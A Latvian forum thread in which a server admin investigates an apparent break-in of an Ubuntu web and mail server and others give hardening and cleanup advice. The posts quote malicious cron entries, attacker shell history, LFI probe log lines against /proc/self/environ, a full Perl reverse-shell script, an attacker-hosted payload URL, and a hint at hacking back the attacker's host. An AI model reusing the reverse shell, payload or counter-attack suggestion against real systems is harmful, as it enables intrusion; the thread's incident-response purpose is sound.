Liekas esmu uzlausts. Linux.

Sākumlapa Forumi Software Linux/BSD Liekas esmu uzlausts. Linux.

Tiek skatīts 1 ieraksts (no 30 kopumā)
  • Autors
    Ieraksti
  • #151524
    bumbulis
    Participant

    Tātad, ir ubuntu serveris, kurš tiek izmantots gan kā web serveris, gan kā mail serveris. Daži useri vairs nevarēja nočekot mailu, jo nevarēja ielogoties serverī. Skatoties ka pa šaizēm, uzķēru ka vakar nomainītas paroles attiecīgajiem lietotājiem. Pačekojot logus, ieraudzīju šādas aizdomīgas rindas:

    Jun 26 23:47:01 www CRON[23042]: (username1) CMD (/home/username1/ /. /y2kupdate >/dev/null 2>&1)

    Jun 26 23:47:01 www CRON[23043]: (username2) CMD (/dev/shm/.. /.ICE-unix/update >/dev/null 2>&1)

    Jun 26 23:48:01 www CRON[23082]: (username1) CMD (/home/username1/ /. /y2kupdate >/dev/null 2>&1)

    Jun 26 23:48:01 www CRON[23083]: (username2) CMD (/dev/shm/.. /.ICE-unix/update >/dev/null 2>&1)

    Jun 26 23:49:01 www CRON[23122]: (username1) CMD (/home/username1/ /. /y2kupdate >/dev/null 2>&1)

    Jun 26 23:49:01 www CRON[23123]: (username2) CMD (/dev/shm/.. /.ICE-unix/update >/dev/null 2>&1)

    Un patiesi – crontabā šiem diviem lietotājiem ir attiecīgie ieraksti. Serveris ir aiz mikrotik rūtera, kurš pirms nedēļas/divām, pēc logiem spriežot tika bruteforcots, taču, atslēdzu tam ssh un ftp servisus un likās, ka ar to arī tas beidzās. Tagad uzķeru, ka acīmredzot ir uzlausts viens no serveriem. Jau kādas 40 min rokos googlē, taču konkrētu “what to do” neatrodu. Ir kāds ieteikums, neskaitot pārinstalēšanu. Nav arī skaidrs kā ļaundaris ticis pie lietotāju parolēm, kā arī nav skaidrība kādos logos ko man vajadzētu meklēt (caur kuriem kontiem ielogojies čalis, kas ticis darīts, utt), līdz ar to, ja paroles nav tikušas bruteforcotas vai nozagtas caur lietotāju inficētiem kompjiem, bet gan caur kādu caurumu pašā serverī, tad analoģiski veicot pārinstalāciju, šis caurums joprojām tur būs. Tātad – ko darīt, kādi ieteikumi? Uz priekiem prāts nenesās, tapēc lūdzu tipiskos humora dzinējus (format c utt.) lūgšu neizteikties.

    Jau iepriekš paldies visiem, kas centīsies ko palīdzēt!

    #239614
    root
    Participant

    Izslēdz gaismu un serveri atdod mammai 🙂

    #239615
    bumbulis
    Participant

    Ja nevēlies/nevari palīdzēt, tad, lūdzu, vismaz nepiesārņo šo topiku.

    #239616
    bumbulis
    Participant

    UPDATE!

    Hakera darbības no .bash_history uzlauztā konta faila:

    cd

    w

    ps -aux

    ifconfig

    w

    df -h

    /sbin/ifconfig

    uname -a

    cat /etc/issue

    cat /etc/passwd

    su username3 (lietotājvārds aizstāts ar username3)

    su username4 (lietotājvārds aizstāts ar username4)

    w

    mail

    Njā, izskatās ka esmu “on my own”, vai arī visi Linux speciņi nav atgājuši vēl no jāņu brīvdienām. 🙂 Anyway, joprojām gaidu kādu viedokli/padomu. 🙂

    #239617
    drono
    Participant

    Kas tad tev tur ir uzlauzts vispār?

    Tik pat labi to varētu būt darījis pats tas jūzeris.

    Nu viņš svēti apgalvo, ka nav to darījis, nu un? Kur problēma? Nomaini atpakaļ to paroli un pasaki, lai nākošreiz liek sarežģītāku.

    Un kurš vispār atstāj atvērtu SSH pieeju parastiem jūzeriem, ja tas nav vajadzīgs?

    #239618
    Aldis
    Participant

    Nēesi atstajis kādu attālināto pieeju vaļēju?? Nobloķē portus rūterī. Un port forwarding uztaisi tam portam kuram vajag, uz to IP no kuras vajag! 😛

    #239619
    bumbulis
    Participant

    drono:

    Zinot to, cik konkrētie lietotāji, kuriem nomainītas paroles, orientējas datortehnikā – pats useris to nevarēja darīt. Kā arī logini konkrētajos kontos ir veikti no Vācijas un Pekinas ip adresēm. Paroles nomainīt ta *** būtu, jautājums vairāk tendējās uz to, kādus nedarbus viņš varētu būt paveicis, sākot ar to y2kupdate crondarbu, kurš, cik no googles izsecināju, ir paredzēts, lai manu serveri pievienotu botnetam.

    Aldi:

    Vaļēja attālināta pieeja definējās kā kas? ssh? Ja tā, tad man ir nepieciešams varēt ssh`ot šajā serverī vai no mājām, vai jebkuras citas vietas.

    Iztiksim bez ***, lūdzu. 🙂 /daGrevis/

    #239620
    Aldis
    Participant

    So.. tā tad esi atstājis kādu defaulto passwordu? Vai?

    Pārbaudi root, super user paroles šeiten:

    https://www.bedre.lv/?id=read&show=673&Cik_drosa_ir_mana_parole_

    Un ja pats jūzeris to nevarēja darīt, vai esi noslēdzis viņam tādu permisiju nost?

    Š…emot vērā ka Tev ir uzstellēta baiga būda – kā ubuntu serveris, iespējams tur ir daudz kā lieka ieksā, un nav nokonfigurēts kautkas līdz galam!

    Reāli ja webu un mailserveru vajadzībām, tad gala lietotājam nepieciešams tikai WEB admin panel, FTP pieeja. ssh, un root līmeņa pieejas un kloķus ideālāk būtu slēgtā IP zonā kaut vai likt.

    #239621
    drono
    Participant

    Ja SSH piekļuve ir nepieciešama tikai tev, nu tad uzliec rūterī vai SSH serverim, piekļuvi tikai no konkrētām IP adresēm, kā arī SSH serverim uzliec konkrētus jūzerus, kuri drīkst pieslēgties.

    Ieteicams arī SSH vispār aizliegt pieslēgties ar parolēm, bet noģenerēt KEY failus un slēgties, izmantojot tos (jūzera home mapē ieliekot authorized_keys failu) (https://blog.psuter.ch/?p=18” class=”bbcode_url”>https://blog.psuter.ch/?p=18 piemēram).

    Kādus procesus konkrētais jūzeris jau ir sadarījis, var apskatīties, ierakstot kaut vai to pašu ps -aux un skatāmies kas ir palaists ar attiecīgo jūzerneimu.

    Bet ja tic tam bash_history, tad neko īpašu viņš jau tur nav sadarījis.

    Tad vēl ļoti svarīgs ieteikums – pie nesvarīgajiem servisiem, tur FTP, SSH atļauj slēgties tikai no Latvijas IP (ja vien nav kaut kādi ārzemju klienti baigie).

    Paņem Latvijas IP sarakstu https://www.nic.lv/local.net un savadi iekšā ugunsmūrī.

    Nu kaut kā šitā (Š itas baigi palīdz pret visādiem botiem utt)

    Quote:

    #!/bin/bash

    iptables -F

    iptables -P INPUT DROP

    iptables -P FORWARD DROP

    iptables -P OUTPUT ACCEPT

    iptables -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT

    iptables -A OUTPUT -m state –state ESTABLISHED,RELATED -j ACCEPT

    iptables -A INPUT -s 127.0.0.0/8 -d 127.0.0.0/8 -i lo -j ACCEPT

    iptables -A INPUT -p icmp -j ACCEPT

    iptables -A OUTPUT -p icmp -j ACCEPT

    iptables -A INPUT -p tcp –dport 80 -j ACCEPT

    iptables -A INPUT -p tcp –dport 443 -j ACCEPT

    for x in `cat /etc/local.net`; do

    iptables -A INPUT -p tcp -s $x –dport 21:22 -j ACCEPT

    done

    iptables -A OUTPUT -p tcp –sport 20 -j ACCEPT



    heh, vispār man nav ne jausmas, vai Ubuntu vispār izmanto iptables, bet gan jau :lala:

    #239622
    root
    Participant

    bumbulis wrote:

    Ja nevēlies/nevari palīdzēt, tad, lūdzu, vismaz nepiesārņo šo topiku.


    Da es tādiem kā tev reti palīdzu, vienīgi ja labs garīgais. Citādi ļauju atsprāgt dabīgā gaitā. Uzlauzts viņš esot.

    Lesson 1: Useriem NEKÄ€DU SSH!

    Lesson 2: Nekādu REMOTE SSH (ko es pats neievēroju, bet man nav daudz ko zaudēt)!

    Lesson 3: Nekādu atvērtu lieku portu!

    Lesson 4: Pilnīgi izolēt lietotājus vienu no otra un no base sistēmas

    Lesson 5: Lasi, pirms kaut ko raksti

    Lesson 6: CHMOD

    Lesson 7: Chown

    Lesson 8: Chroot

    Lesson 9: lietotāju kapsulācija (just google it)

    Maty tvaju, nelien, ja neproti da galam ko dari. Es zemūdini arī nelienu stūrēt, tāpēc ka neprotu. Da i uzlauzts tu neesi. Cilvēks vienkārši izmantoja iespēju kuru tu visdrīzak viņam pasniedzi uz paplātes.

    Pie tam, uzlauzts raksta ar Z ne S. Uzlauza, uzlauzīs, uzlaužam, ne uzlausa, uzlausīs, uzlaušam.

    #239623
    bumbulis
    Participant

    Aldi:

    Visu cieņu, bet neiešu tādās lapās vadīt un pārbaudīt šādas paroles. 🙂 Un arī šaubos vai Ubuntu server Edition būtu sabāsti visādi lieki šiti, tomēr + – cilvēki ar galvu to mantu taisa.

    Neesmu atstājis defaulto paroli superlietotājiem vai rootam, taču standarta lietotājiem pārsvarā visiem bija analoģiskas paroles, respektīvi atkod vienu, pārējās uzreiz top skaidras. 🙂 Jā, zinu, tā nedrīkst, ko lai saku, no kļūdām visi mēs mācāmies.

    Drono:

    Procesi no konkrētajiem useriem nav. Citu variantu kā pārbaudīt vai tas y2k dranķis neuztur sakarus ar kādu irc serveri, izņemot tās pašas ps -aux un netstat komandas jau nav, ne? Par tām Latvijas ip adresēm man gan bail salaist visu dēlī, jo ir vpn tunelis ar ārzemēm, ar kura sačakarēšanu lieki riskēt nedrīkst. 🙂

    TavaMāte:

    Paldies par mācībām. Noņēmu defaultajiem useriem ssh pieeju. Porti itkā rūterī visi aizvērti. Piekto punktu vienmēr pielietoju, par to nesatraucies.

    Bet nu par to tavu nostāju – nejau pirms pirmo reizi ar meiteni pamīcijies gāji izlasīt 40 mīlasgrāmatas un iemācijies visas kamasutras pozas. Man patīk domāt, ka es eju, uzdrošinos, krītu, ceļos un eju tālā, nevis stāvu uz vietas, baidīdamies pakrist. 🙂 Lai Tev biežāk labs garīgais. 😉

    #239624
    root
    Participant

    Ubuntu lietot kā serveri ir marasms. CentOS, Slackware, Debian, Fedora-core. Ubuntu ir atvasinājums ar daudz lieka šita. Normālam serverim vajag normālu bāzi, apachi + mod php ar suhosin patch, proftpd/vsftpd, mysql, clamav un mailservu pēc izvēles. Ja esi hardcore, piemet klāt ugunsmūri. Aizsien visus portus un miers. A ja domā ko nopietnāku turēt par vienu serveri, nāksies izmantot nopietnus risinājumus, astaro piemēram.

    #239625
    bumbulis
    Participant

    Tu man tagad liec stūrēt zemūdeni! 😀

    Jautājums – crontabā links uz failu = “/home/username1/ /. /y2kupdate”, kā es varu līdz viņam tikt un izdzēst? Manas zemūdenes navigācijas spējas tik tālu vēl nesniedzas.

    Paldies visiem par ieinteresētību, starpcitu!

    #239626
    drono
    Participant

    /home/username1/ /. /y2kupdate

    Tas jau tajā pašā /home/username1/ mapē vien ir. Ja tur tāda faila (vairs) nav, tad nav. Dzēs ārā cron jobus un miers. Operētājsistēmu jau parasts jūzeris sačakarēt nemaz nevar.

    #239627
    root
    Participant

    https://forum.parallels.com/showthread.php?t=78763

    https://www.groupsrv.com/linux/about75502.html

    Lai aizvāktu mēģini terminālī

    Code:

    killall y2kupdate


    un tad

    Code:

    crontab -e


    lai labotu cron tabulu, vienkārši izdzēs to, kas nav vajadzīgs. Jādara ar su (super user) jeb sudo priekšā liekot.

    Ieteikums priekšdienām, ja tiešam vēlies ar šo visu darboties- paņem vienu lētu lietotu stacionāro, pa kādiem 50ls, uzliec savu mīļāko distribūciju bez gui un sāc lēnām veidot sistēmu, nokļūdīsies- labi, nones cieto disku un sāc atkal, no nulles. Es kā Debian fans tev rekomendētu izmantot Debian, kaut vai .deb pakotņu dēļ un tāpēc ka pats sāku savas linux gaitas vairāk par mājsaimnieci tieši ar šo os. Ja padomā līdz, viss ir ļoti loģiski un saprotami.

    Drono es gribēju teikt, ka ja tu esi sistēmā, var visādu šmuci sadarīt, it īpaši ja ir atļauts laist skriptu interpretāciju kā servera lietotājam.

    #239628
    bumbulis
    Participant

    Labrīt!

    TavaMāte:

    Nav vroģi ne y2kupdate, ne cits, manai neapbruņotai acij uzkrītošs process. No crontaba ieraksti tika momentāli aizvākti.

    Par tām priekšdienām – garš stāsts, bet īsumā – pa nakti bija čakars ar elektrību bijis, no rīta viens no 3 RAID 5 masīvā saslēgtajiem hdd bija atmiris, pēc teorijas visam bija jādarbojās ok arī ar 2hdd, taču tā nenotika, ieboototies nevarēja, iepriekš stāvēja freebsd, visu diena nopista bet sistēma tā arī pie dzīvības netika dabūta, tika nolemts vnk taisīt fresh install, arī sakarā ar to, ka beigtā hdd vietā nopirkt jaunu izmaksā ~400ls, tapēc uztaisija fresh isntall un RAID 5 vietā tagad ir vnk mirrorings. Un sakarā ar laika trūkumu tika paņemts elementārākas variants, kurš vnk strādā “out of the box”, jo nebija laiks vairākas dienas čakarēties liekot manuāli visu, pietam zinot, cik sarežģīti ar linuxi tas viss var izvērsties.

    Un kompīši veci arī ir pieejami, tikai atklāti sakot brīvais laiks tik maz paliek, ka neceļās rokas pagaidām to ieguldīt padziļinātā linux izpētē.

    Drono:

    /home/username1/ mapē nav nekas tāds (arī .slēptsfails variantā)

    Taču, cik esmu saskāries ar crontab, tad ceļs uz failu parasti ir vienā gabalā, taču šeit starp diviem slashiem ir atstarpe, līdz ar to manī rodās apjukums. 🙂 Konkrētāk šis ceļa posms man nav izprotams “/ /./”. Pietam komanda “find / -name y2kupdate” atrod šo failu. Ar to pašu dīvaino ceļu.

    Mani secinājumi:

    Cik lasīji internetā, tad visi ar šo y2kupdate problēmu saskārušies cilvēki bija uzlausti caur webu. Patiešām, ssh bruteforce variants nedaudz nelīmējās kopā, jo crontaba ieraksti bija diviem lietotājiem username1 un username2, taču bash_history bija tikai username1, kā arī loginu vēsture bija tikai username1, taču ieraksts crontabā bija arī username2, kā arī ar find meklējot to y2kupdate, tas tiek atrasts zem username2(lietotājs kuram nav ne bash_history fails, ne arī ieraksts loginu vēsturē). Sāku pētīt apaches logus, uzdūros šādām dīvainām rindām(lai šo saprastu laikam jābūt webmastera un linux speciņa remixam. (likšu iekš spoiler taga, jo rindas ir diezgan garas)) :

    [spoil]

    Code:


    94.199.181.165 – – [21/Jun/2010:20:42:05 +0300] “GET HTTP/1.1 HTTP/1.1” 400 473 “-” “ ; ;;Ustupid MF is Back; Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)”
    94.199.181.165 – – [21/Jun/2010:20:42:05 +0300] “GET /index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1” 200 876 “-” “ ; ;;Ustupid MF is Back; Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)”
    94.199.181.165 – – [21/Jun/2010:20:42:05 +0300] “GET /index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 200 876 “-” “ ; ;;Ustupid MF is Back; Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)”
    94.199.181.165 – – [21/Jun/2010:20:42:05 +0300] “GET /index2.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1” 200 876 “-” “ ; ;;Ustupid MF is Back; Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)”
    94.199.181.165 – – [21/Jun/2010:20:42:05 +0300] “GET /index2.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 200 876 “-” “ ; ;;Ustupid MF is Back; Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)”


    [/spoil]

    Š is arī laikam tad būs tas caurums. Jautājums pēc kādiem atslēgvārdiem šāds uzbrukums definējās, lai varu meklēt risinājumu?

    #239629
    bumbulis
    Participant

    Neļauj man šeit ievietot pilno log atskaiti. Nohostēju txt failā konkrētās rindas uz yy – Spied šeit.

    #239630
    root
    Participant

    Tas ir parasts mēģinājums uzraut tevi vai kādu citu uz nefiltrētiem $_GET mainīgajiem. T.I pēc teorijas un prakses, lapā, kurā ir izsaukts nefiltrēts $_GET mainīgais ir iespējams implementēt malcode, piemēram izvadīt tavu SQL paroli vai ko citu. Parasti šādus uzbrukumus izmanto lai lauztu ļoti vāji aizsargātas lapas bez drošības bare-minimum. Sliktākajā gadījumā caur $_GET var iepotēt malcode, kas izpildās ar servera lietotāja privilēģijām, ja tādas ir, respektīvi, arī pieeja crond ucc. resursiem, kur sistēmu var diezgan pabojāt. Risinājums ir palūgt kādam kaut cik zinošam php programmētājam paauditēt tavu mājas lapu pret GET exploitiem 🙂

    P.S Logfile jau visu pasaka –

    Tika paķerts šis kods:

    Code:

    #!/usr/bin/perl
    use Socket;
    $cmd= “lynx”;
    $system= ‘echo “`uname -a`”;echo “`id`”;HISTFILE=/dev/null /bin/sh -i’;
    $0=$cmd;
    $target=$ARGV[0];
    $port=$ARGV[1];
    $iaddr=inet_aton($target) || die(”Error: $!n”);
    $paddr=sockaddr_in($port, $iaddr) || die(”Error: $!n”);
    $proto=getprotobyname(’tcp’);
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(”Error: $!n”);
    connect(SOCKET, $paddr) || die(”Error: $!n”);
    open(STDIN, “>&SOCKET”);
    open(STDOUT, “>&SOCKET”);
    open(STDERR, “>&SOCKET”);
    system($system);
    close(STDIN);
    close(STDOUT);
    close(STDERR);

    un pie tam vēl šis – https://195.239.120.69/cback . Pēc kompilācijas izskatās pēc rootkita. Varbūt nē. Anyway izložņā sistēmu meklējot failu ar nosaukumu cback. Varbūt viņš vēl ir sistēmā. Ja saprotu pareizi, tev tajā lapā ir nopietns caurums, tur dajebko var iestumt. Uzbrukums tev tika veikts no 94.199.181.165 tīkla (osoft.hu), hostēts Krievijā, Maskavā. Os Debian Lenny 2.6.18 aiz cisco rūtera. Savā rūterī piegriez skābekli šai ip 94.199.181.165 pilnībā. Drop un miers

    Atbilde uz tavu nākamo postu ir, ka pie tā visa varētu būt vainīgs šis pats cback fails, https://195.239.120.69/cback

    Un caur webu arī var izsaukt bashu, šellus un dajebko. 😉 Ja vien neesi pareizi nokonfigurējis PHP

    #239631
    bumbulis
    Participant

    Labi, pieņemot, ka tas bija neizdevies $_GET injekcijas mēģinājums. Ir kāds loģisks izskaidrojums, kā username1 crontabā varēja rasties ieraksts uz failu viņa home mapē, ja konkrētajā kontā nav veikts neviens logins (vismaz login historijā neuzrādās), jo caur ssh ielogojoties tas tiek fiksēts. Pēc manas loģikas sanāk, ka visas šīs huiņas nav darītas veiksmīga ssh bruteforce rezultātā, bet gan ar kādu citu paņēmienu, pareizi? Kas kopumā ir baigi stulbi, jo tad ar ssh piegriešanu visdrīzāk nebūs līdzēts un ir jāturpina rakāties un jāmeklē citas iespējas. Kā arī, ja konkrētajā kontā nav veikts logins, bet viņa crontabā bija ieraksts, tas nozīmē, ka tas ir veikts ar kāda ‘krutā’ lietotāja kontu, kas savukārt nozīmē, ka ziepes var būt stipri lielākas, jo cik lasīju ar tādu pieeju var nomainīt bashu un kopumā sačakarēt visu pa lielam. Pareizi? Es gan neesmu nekāds drošības eksperts, bet izejot no situācijas – serveris ir aiz rūtera ar aizvērtiem portiem, ssh pieeja ir tikai man, pietam zem nat ip adresas (šis punkts kopš vakardienas), nav ftp, ir mysql, ir webserveris – sanāk, ka visticamākais variants tomēr paliek webs, pareizi? Atvainojos, ja veidojas neloģiski teikumi, vnk sāk jau raibs gar acīm mesties palēnām.

    #239632
    root
    Participant

    P,S pats uzbrucējs ir acīmredzams amatieris, par cik paša hosts var nojukt vienā jaukā kafijas pauzē. (Hint: Uw imapd)

Tiek skatīts 1 ieraksts (no 30 kopumā)
  • Jums ir jāpieslēdzas sistēmai, lai varētu komentēt šo tēmu.
Jaunākais portālā